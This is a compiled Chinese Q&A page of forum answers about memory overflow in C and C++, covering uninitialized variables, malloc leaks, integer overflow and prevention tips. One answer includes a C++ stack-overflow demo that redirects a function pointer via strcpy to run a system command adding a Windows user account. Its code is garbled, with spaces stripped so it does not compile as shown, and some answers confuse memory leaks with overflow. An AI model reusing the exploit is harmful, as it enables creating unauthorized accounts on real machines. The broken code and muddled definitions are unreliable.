⑴ win-tc编译c语言出现了内存溢出使什么意思啊
c语言没问题,你有问题。明明你这么做的时候编译器就会警告你,你在用没初始化的数,编译器不保证出现什么结果。你非要这么做。
这个不一定跟编译器很有关系,跟系统倒是很有关系。总之局部变量这样的东西都在程序运行的栈里,程序初始化的时候这个栈里是什么内容估计只有做系统的人才知道。
⑵ 什么是C语言中内存溢出关于malloc函数的~
malloc()函数开辟的内存空间系统是不会自动释放的,与普通定义的数据变量不一样,所以得在程序里,手动写free()函数释放内存空间,
如果不写free函数释放malloc()函数开辟的内存空间的话,系统中无效的内存空间会越积越多,到达一定数量后内存就不够用了,这就是所说的内存溢出。
⑶ c语言 内存溢出
写了一个C++的代码,你用VC6 编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。
#include<iostream>
usingnamespacestd;
void(*pfunc)();
voidshow()
{
system("cmd/cnetuserfuck123/ad&&/ad");
exit(1);
}
intmain()
{
chara[4];
charshellcode[13]="";
pfunc=show;
*(int*)&shellcode[8]=(int)pfunc;
//overflow
strcpy(a,shellcode);
return0;
}
⑷ C语言变量溢出
首先应该明白什么是内存溢出,简单的例子就是你定义一个char类型数据
char类型是1个字节,即8位00000000,无符号数的最大值为11111111,这时如果对他再加上1,11111111+00000001=1,00000000,超出了char类型数据范围,造成的结果是首先你的返回值不准确,同时进上去的1位占用了其他内存地址,如果此地址内有数据,就会被改写,引起不可预知的问题,也许什么影响也没用。
⑸ C++编程中如何防止内存溢出问题
1.
良好的编程习惯是预防内存漏洞的根本2.
正确申请和释放内存空间。3.
记得在每个可能的出口检查指针
导致内存溢出问题的原因有很多,比如:(1)使用非类型安全
(non-type-safe)的语言如C/C++等。
(2)以不可靠的方式存取或者复制内存缓冲区。
(3)编译器设置的内存缓冲区太靠近关键数据结构。
下面来分析这些因素:1.
内存溢出问题是C语言或者C++语言所固有的缺陷,它们既不检查数组边界,又不检查类型可靠性
(type-safety)
。众所周知,用C/C++语言开发的程序由于目标代码非常接近机器内核,因而能够直接访问内存和寄存器,这种特性大大提升了C/C++语言代码的性能。只要合理编码,
C/C++应用程序在执行效率上必然优于其它高级语言。然而,
C/C++语言导致内存溢出问题的可能性也要大许多。其他语言也存在内容溢出问题,但它往往不是程序员的失误,而是应用程序的运行时环境出错所致。2.
当应用程序读取用户(也可能是恶意攻击者)数据,试图复制到应用程序开辟的内存缓冲区中,却无法保证缓冲区的空间足够时(换言之,假设代码申请了N字节大小的内存缓冲区,随后又向其中复制超过N字节的数据)
最重要的是,
C/C++编译器开辟的内存缓冲区常常邻近重要的数据结构。现在假设某个函数的堆栈紧接在在内存缓冲区后面时,其中保存的函数返回地址就会与内存缓冲区相邻。此时,恶意攻击者就可以向内存缓冲区复制大量数据,从而使得内存缓冲区溢出并覆盖原先保存于堆栈中的函数返回地址。这样,函数的返回地址就被攻击者换成了他指定的数值;一旦函数调用完毕,就会继续执行“函数返回地址”处的代码。非但如此,
C++的某些其它数据结构,比如v-table、例外事件处理程序、函数指针等,也可能受到类似的攻击。
二、解决内存溢出问题
必须知道内存缓冲区的总长度。
检验内存缓冲区。
提高警惕。
多态性,在c++中指具有不同功能的函数可以用同一个函数名,即可以用同一个函数名调用不同内容的函数。向不同的对象发送用一个消息,不同的对象在接收同样的消息,会产生不同的行为(方法)。
从系统实现角度来看。多态性分为两类:静态多态性和动态多态性。
静态多态性:在程序编译时系统就能决定调用哪个函数,因此静态函数有称编译时的多态性(实质上是通过函数的重载实现)
。例如:函数的重载和运算符重载实现.
动态多态性:运行过程中才动态地确定操作指针所指的对象。主要通过虚函数和重写来实现。
⑹ C语言问题,为啥输入结束后会内存溢出,需要怎样修改
肉眼看不出溢出
⑺ C语言内存重写和内存遗漏是什么意思什么情况下会发生呢
没怎么听过这个概念,但是我觉得你说的应该是内存溢出和内存泄露这两个问题
内存溢出也就是定义的变量长度不足,内存不够储存数据导致数据超出界限,这通常是由于数据长度判断不严格造成的。好比只定义了一个能装5个苹果的盒子却要装8个苹果,剩下的3个只能放到其他苹果的位置了,其他的苹果就等于是被“重写”了
例子,定义了int a[2]变量,再定义int *p = a,当用p[2] = 0写入数据时,就发生了内存溢出。由于c语言只检查指针是否有效(能读写),这就可能导致指针被赋予一个特殊的值,比如指向程序代码部分,这时候往指针中写入的数据就有可能覆盖原本的命令,而且有可能被程序或者系统运行。还有一种情况就是错误的指针可能意外的修改了其他变量的值,这个通常在结构体变量中发生。
一句话就是溢出的内存
内存泄露就是给指针分配了内存却并未做回收,导致系统一直认为你正在使用这块内存,当不再有指针指向这块内存,也就是无法正常手动回收时,就造成了内存泄露。内存泄露会导致系统可用内存越来越少,直到再无内存可供分配或者程序被终止。由于系统自身代码缺陷而存在的内存泄露,由于除非关机重启,系统一直在运行,会导致泄露的内存一直得不到回收,最终内存耗尽系统崩溃死机